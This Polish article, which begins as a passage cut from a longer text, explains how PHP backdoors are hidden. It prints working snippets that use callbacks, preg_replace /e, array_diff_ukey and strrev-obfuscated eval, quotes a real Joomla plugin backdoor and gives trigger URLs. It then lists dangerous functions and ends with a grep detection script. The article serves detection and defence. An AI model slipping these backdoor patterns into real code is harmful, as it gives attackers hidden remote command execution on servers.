Backdoory w aplikacjach PHP

Aby przeanalizować powyższy kod, musimy omówić pewną cechę języka PHP, która została dodana w wersji 5.3 – funkcje anonimowe. Jedną z ich właściwości jest możliwość przypisania funkcji jako wartości zmiennej (podobnie, jak ma to miejsce np. w JavaScript), a następnie wywołanie jej, posługując się tylko zmienną jako jej identyfikatorem:

    // definiujemy funkcję jako wartość zmiennej $fun
    $fun = function($arg) {
        return $arg + 10;
    };

    // wywołujemy funkcję
    echo $fun(10);   // rezultat: 20

3. Funkcje anonimowe umożliwiają nam przypisanie funkcji jako wartości zmiennej.

Wróćmy teraz do backdoora z listingu (1) i zobaczmy, co stanie się, gdy wywołamy zainfekowaną stronę z następującymi parametrami żądania HTTP:

http://site.com?f=system&a=ls

4. Rezultat wywołania strony zainfekowanej kodem z listingu (2).

Zauważmy, że w złośliwym kodzie nie została użyta żadna z funkcji języka PHP, która umożliwia wykonanie kodu w systemie operacyjnym (np. system()) lub pozwala na wykonanie kodu przekazanego jej jako argument (eval()). Dzięki wykorzystaniu mechanizmu funkcji anonimowych odpowiednią metodę przekazaliśmy dopiero w momencie wywołania backdoora.

3. Backdoor wykorzystujący preg_replace() z modyfikatorem /e

Wspomniane w poprzednim podrozdziale funkcje eval() oraz system() to tylko dwa przykłady, czego powinniśmy się wystrzegać i na co zwrócić uwagę (pozostałe niebezpieczne funkcje i konstrukcje językowe w postaci zestawienia znajdują się w dalszej części artykułu).

Kolejnym przykładem, któremu przyjrzymy się dokładniej, będzie funkcja preg_replace(). Rzut oka na dokumentację nie wskazuje, że może ona przyjmować jako jeden ze swoich argumentów funkcję zwrotną (callbacka) i umożliwić wykonanie dowolnego kodu. Przyjrzyjmy się zatem dokładnie argumentom, jakie przekazujemy do tej funkcji:

Pierwszym ($pattern) jest ciąg w postaci wyrażenia regularnego, którego szukamy w argumencie trzecim ($subject). Gdy go znajdziemy, zastępujemy go ciągiem z argumentu drugiego ($replacement). Gdy do pierwszego argumentu dodamy modyfikator /e spowodujemy, że dopasowanie z drugiego argumentu zostanie wykonane – wystarczy zadbać, by był nim prawidłowy kod PHP:

    $backdoor = "system('ls -l')";
    preg_replace("/aaa/e", $backdoor, "aaa");

5. Przykład na wykonanie dowolnego kodu przy użyciu funkcji preg_replace() i modyfikatora /e

4. Backdoor wykorzystujący funkcję zwrotną (callback) jako argument

Przyjrzymy się fragmentowi kodu, który do wykonania złośliwego payloadu używa funkcji zwrotnej jako jednego z argumentów funkcji, w której został ukryty. W przykładzie użyta została funkcja array_diff_ukey(), której wywołanie wygląda następująco:

Jej działanie jest dość proste: porównuje klucze dwóch (lub więcej) tablic asocjacyjnych przy użyciu funkcji zwrotnej przekazanej jej w postaci ostatniego argumentu.

Lecz co się stanie, gdy użyjemy array_diff_ukey() w następujący sposób:

    @array_diff_ukey(
        @array((string)$_REQUEST['password']=>1), 
        @array((string)stripslashes($_REQUEST['re_password'])=>2),
        $_REQUEST['login']
    );

a następnie wywołamy stronę zawierającą taki kod z następującymi argumentami:

http://site.com/page.php?password=ls&re_password=''&login=system

W kluczach porównywanych tablic znajdą się kolejno: ciąg 'ls’ oraz ciąg pusty, a jako funkcję zwrotną podaliśmy system(), do której trafią oba klucze jako argumenty wykonania. W ostatecznym rachunku uzyskaliśmy efekt podobny, jak w poprzednich przykładach, czyli doprowadziliśmy do wykonania dowolnego polecenia w systemie operacyjnym, na co kod backdoora nie wskazuje nawet przy dość dogłębnym jego przeanalizowaniu.

6. Rezultat wywołania strony zainfekowanej kodem backdoora wykorzystującego array_diff_ukey() oraz funkcję system() przekazaną jako jeden z argumentów z listingu (2).

5. Kilka metod „zmylenia” przeciwnika

Aby ukryć złośliwy kod np. przed zautomatyzowanymi skryptami do wykrywania niebezpiecznych funkcji (które zostaną opisane w dalszej części), atakujący często próbują zamaskować fakt ich użycia.

Ciekawym przykładem może być użycie funkcji strrev() (odwracanie stringów) połączone z ich konkatenacją przy pomocy operatora kropki. Popatrzmy na przykłady:

// przykład 1
$b = strrev("edoced_4" . "6esab");
eval( $b($_REQUEST['c']) );

// przykład 2
$e = $_REQUEST['e'];
$p = strrev("eca" . "lpe" . "r_ger" . "p");
$p('/a/e', $e, 'a');

Czy ktoś jest w stanie na pierwszy rzut oka wskazać, co stanie się po wykonaniu trzeciej linijki kodu w drugim przykładzie? A co się stanie, gdy te trzy linijki (odczytanie zmiennej $e z tablicy $_REQUEST, zainicjalizowanie zmiennej $p funkcją preg_replace() oraz jej wywołanie) będzie dzielić kilkadziesiąt czy nawet kilkaset linijek kodu? Co, jeśli w aplikacji dołączającej wiele zewnętrznych plików poprzez dyrektywy include() czy require() każda z tych linijek znajdzie się w innym pliku? Taki backdoor stanie się praktycznie niewykrywalny:

// przykładowy plik config.php
...
$e = $_REQUEST['e'];  // "wstrzyknięty" fragment backdoora
...


// przykładowy plik bootstrap.php
...
$p = strrev("eca" . "lpe" . "r_ger" . "p"); // kolejny fragment backdoora
...


// przykładowy plik index.php - główna aplikacja
...
require('config.php');  // dołączenie pliku config.php
require('bootstrap.php');  // dołączenie pliku bootstrap.php

// w tym momencie mamy już dostępne w globalnej przestrzeni nazw aplikacji
// zmienną $e zawierającą odczytany z $_REQUEST payload
// oraz $p będącą wywołaniem preg_replace()

$p('/a/e', $e, 'a');  // uruchomienie backdoora 
...

Przykład z życia – Joomla Plugin Constructor Backdoor

Klika dni temu (23.04.14) na blogu firmy Sucuri pojawił się tekst opisujący pewien ciekawy rodzaj backdoora, który został znaleziony w jednym z pluginów do Joomli, a konkretnie w kodzie konstruktora tego pluginu.

Przykład jest połączeniem kliku opisanych wcześniej technik – wykorzystania właściwości funkcji preg_replace() z modyfikatorem '/e’, funkcji anonimowych oraz przekazywania argumentów przez mechanizm ciasteczek.

Spójrzmy zatem na kod źródłowy:

    public function __construct() {
        $filter = JRequest::getString('p3', Null, 'cookie');
        if ($filter) {
            $option = $filter(JRequest::getString('p2', Null, 'cookie'));
            $auth = $filter(JRequest::getString('p1', Null, 'cookie'));
            $option("/123/e",$auth,123);
            die();
        }
    }

Na pierwszy rzut oka kod wydaje się niegroźny, jednak korzystając z wiedzy z poprzednich akapitów parę rzeczy powinno wydać się podejrzane. Przede wszystkim konstrukcja „/123/e”, która sugeruje użycie preg_replace() jako głównego „wykonawcy”. Sama nazwa funkcji nie pojawia się bezpośrednio w kodzie, ale fragment $option("/123/e",$auth,123); wskazuje na zmienną $option, której jako wartość może zostać podany rezultat wykonania kodu zawartego w linijce $option = $filter(JRequest::getString('p2', Null, 'cookie')); – mamy tu do czynienia z klasyczną sytuacją, kiedy zmienna otrzyma wartość będącą nazwą funkcji do wykonania (w tym wypadku będzie to właśnie preg_replace()).

Z kolei w zmiennej $auth powinien znaleźć się kod do wykonania. W rezultacie, w zależności od wartości zapisanej w ciasteczku p3 wykona się funkcja odczytana z ciasteczka p2 z argumentem zapisanym w ciasteczku p1.

Czego się wystrzegać

Jeśli jesteś programistą aplikacji internetowych, warto zastanowić się, jak uniknąć zaprezentowanych zagrożeń. Zacznijmy od zdefiniowania zestawu funkcji, których występowanie w kodzie źródłowym, jeśli nie jest przez nas zamierzone, powinno natychmiast wzbudzić nasze podejrzenia. Poniżej znajduje się ich zestawienie – każda z nich może posłużyć do budowy backdoora będącego w stanie wykonać dowolny kod przekazany przez atakującego np. w parametrach żądania HTTP.

1. Funkcje umożliwiające zdalne wykonanie kodu na serwerze

Poza opisaną już wcześniej funkcją system(), są to:

• exec()
• passthru()
• shell_exec()
• ``– tzw. backticks, czyli odwrotne apostrofy – ich działanie jest identyczne z funkcją shell_exec()
• popen()
• proc_open()
• pcntl_exec()

2. Funkcje, które są w stanie wykonać kod PHP przekazany im jako argument

Do tej grupy zaliczamy najpopularniejszy sposób wykonania kodu, czyli zaprezentowaną w przykładach powyżej funkcję eval(). Poza nią są to:

• assert()
• preg_replace()
• create_function()
• include(), include_once(), require() oraz require_once()

3. Dobre praktyki

• Jeśli używamy w naszej aplikacji konstrukcji wymienionych w tych dwóch podpunktach, zawsze miejmy na uwadze fakt, że brak kontroli nad tym, co przekazywane jest do tych funkcji jako argumenty (np. parametry żądań HTTP użyte bez żadnej walidacji) w prostej linii doprowadzi do sytuacji, gdy atakujący będzie w stanie zmusić aplikację do działania niezgodnego z przeznaczeniem.
• Dlatego należy bezwzględnie przestrzegać zasady, że każde dane pochodzące z zewnątrz, a służące do sterowania logiką aplikacji (podobnie, jak ma to miejsce w przypadku zapobiegania atakom SQL Injection) powinny dotrzeć do docelowej funkcji w dokładnie takiej postaci, jakiej spodziewamy się, by kod wykonał się prawidłowo.
• Dobrą metodą jest tu zastosowanie podejścia „whitelist” (białej listy), czyli dopuszczamy jedynie to, co jest dozwolone, odrzucając wszelkie nie pasujące do listy wartości.

Przykładem takiego podejścia może być sytuacja, gdy dołączamy do aplikacji (przy pomocy jednej z funkcji z rodziny include()/require()) kod z pliku, którego nazwa odczytywana jest z parametru GET żądania HTTP. Zdefiniowanie dopuszczalnych wartości, które mogą się tam pojawić, zapobiegnie atakowi Local File Include, gdyż nie pozwoli na dołączenie innego pliku niż pochodzący z listy dozwolonych wartości.

Jak znaleźć backdoora i jak się przed nim uchronić

Na zakończenie warto wspomnieć parę słów o metodach wykrywania złośliwego kodu w naszych aplikacjach. Ponieważ jest rzeczą praktycznie niemożliwą zidentyfikowanie wszystkich możliwych kombinacji przekazania payloadu do backdoora oraz jego wykonania, skupimy się na najpopularniejszych przypadkach.

Analizę aplikacji powinniśmy zacząć od przejrzenia drzewa katalogów i próby odnalezienia plików nie należących do niej. Jeśli jest to aplikacja dedykowana (np. naszego autorstwa bądź zlecona firmie zewnętrznej) będzie to zadanie w miarę proste. W przypadku aplikacji opensource (np. WordPress, Joomla czy inny popularny CMS) warto zajrzeć na forum poświęcone danemu systemowi i potwierdzić, czy znaleziony podejrzany plik należy do aplikacji, jakiegoś pluginu bądź szablonu czy znalazł się tam za sprawą udanego ataku.

Z kolei wizyta na stronie z repozytorium kodu źródłowego umożliwi nam porównanie oryginalnego kodu i szybką weryfikację dodanych bądź zmodyfikowanych linijek. Dobrym pomysłem będzie pobranie repozytorium na lokalny dysk i wykonanie kompleksowego porównania (np. poleceniem diff czy git diff) – wynik takiej operacji wskaże nam wszystkie miejsca, gdzie występują jakiekolwiek różnice.

Jeśli nie mamy dostępu do repozytorium z oryginalnym kodem źródłowym, a backdoor nie występuje jako samodzielny plik (został dopisany przez atakującego np. w wyniku udanej kompromitacji serwera FTP) – często jedyną metodą jest samodzielne przeanalizowanie zawartości plików z kodem źródłowym pod kątem występowania popularnych w backdoorach fraz i funkcji.

W tym celu można posłużyć się prostymi skryptami, które to zadanie realizują. Przykładowy skrypt powłoki, który przeszuka nam pliki, próbując odnaleźć wystąpienia niebezpiecznych funkcji, może wyglądać np. tak:

#!/bin/bash
 
#------------------------------------------------#
# Search web files for potential malicious code. #
#------------------------------------------------#
 
SEARCH_DIR="/var/www"
PATTERNS="passthru|shell_exec|system|phpinfo|base64_decode|popen|exec
|proc_open|pcntl_exec|python_eval|fopen|fclose|readfile"
 
grep -RPl --include=*.{php,txt} "($PATTERNS)" $SEARCH_DIR
 
exit 0

źródło: https://bechtsoudis.com/hacking/detect-protect-from-php-backdoor-shells/

Dużo wskazówek może nam dostarczyć analiza logów serwera www i żądań HTTP. W zależności od parametrów, jakie nasza aplikacja przyjmuje, w podobny sposób możemy przygotować prosty skrypt wykrywający w logach żądania zawierające dziwne wartości parametrów np. będące zakodowanymi w Base 64 ciągami sugerującymi użycie gdzieś w kodzie backdoora opartego na base64_decode().

Bardzo ważną kwestią jest niedopuszczenie do samego zarażenia aplikacji złośliwym kodem. Najczęstszą przyczyną są błędy umożliwiające bądź upload pliku zawierającego kod backdoora na serwer, bądź nieprawidłowe uprawnienia zapisu/odczytu plików i katalogów aplikacji, bądź też słabo zabezpieczony serwer FTP lub dane uwierzytelniające do niego.

Kod backdoora może też znaleźć się na serwerze w wyniku wysłania przez atakującego odpowiednio spreparowanego żądania HTTP PUT. Często do zarażenia dochodzi w wyniku błędu SQL Injection i wykorzystania funkcji serwera MySQL SELECT … INTO OUTFILE ….

Podsumowanie

Backdoor w aplikacji internetowej, niezależnie od tego, czy został w niej pozostawiony celowo przez programistów, czy też został dodany przez atakującego, to bardzo niebezpieczna sytuacja, do której nie powinniśmy w żaden sposób dopuścić. Możliwość wykonania dowolnego kodu czy to w kontekście naszej aplikacji, czy bezpośrednio na serwerze nie powinna być dostępna dla nikogo i w żaden sposób.

Ataki wykorzystujące pozostawione w kodzie źródłowym „furtki” mogą spowodować konsekwencje trudne do przewidzenia (od utraty danych po całkowite przejęcie serwera czy nawet całej infrastruktury sieciowej firmy. Sposoby zaciemniania kodu źródłowego oraz tworzenia backdoorów ewoluują wraz z językiem PHP i dodawanymi do niego funkcjonalnościami (dobrym przykładem są tu funkcje anonimowe, które pojawiły się wraz z wersją 5.3), dlatego warto śledzić to, co dzieje się w świecie PHP.

Jedną z ostatnich nowości jest zaprezentowany przez Facebooka język Hack, będący rozwinięciem języka PHP (hacklang.org). Pojawiło się w nim kilka nowości (jak choćby klasy generyczne), które mogą spowodować pojawienie się nowych technik umieszczania złośliwego kodu w aplikacjach budowanych z wykorzystaniem tej technologi.

Źródła

• PHP Backdoors: Hidden With Clever Use of Extract Function| Sucuri blog
• PHP Callback Functions: Another Way to Hide Backdoors | Sucuri blog
• PHP 5.3 – funkcje anonimowe | blog.wilgucki.pl
• Simple online PHP obfuscator | mobilefish.com
• Exploitable PHP functions | Stackoverflow
• Evolution of a PHP backdoor evasion | Mr. Blue Coat blog
• Joomla Plugin Constructor Backdoor | Sucuri blog
• Highly Effective Joomla Backdoor with Small Profile | Sucuri blog

Rafał 'bl4de’ Janicki– bloorq[at]gmail.com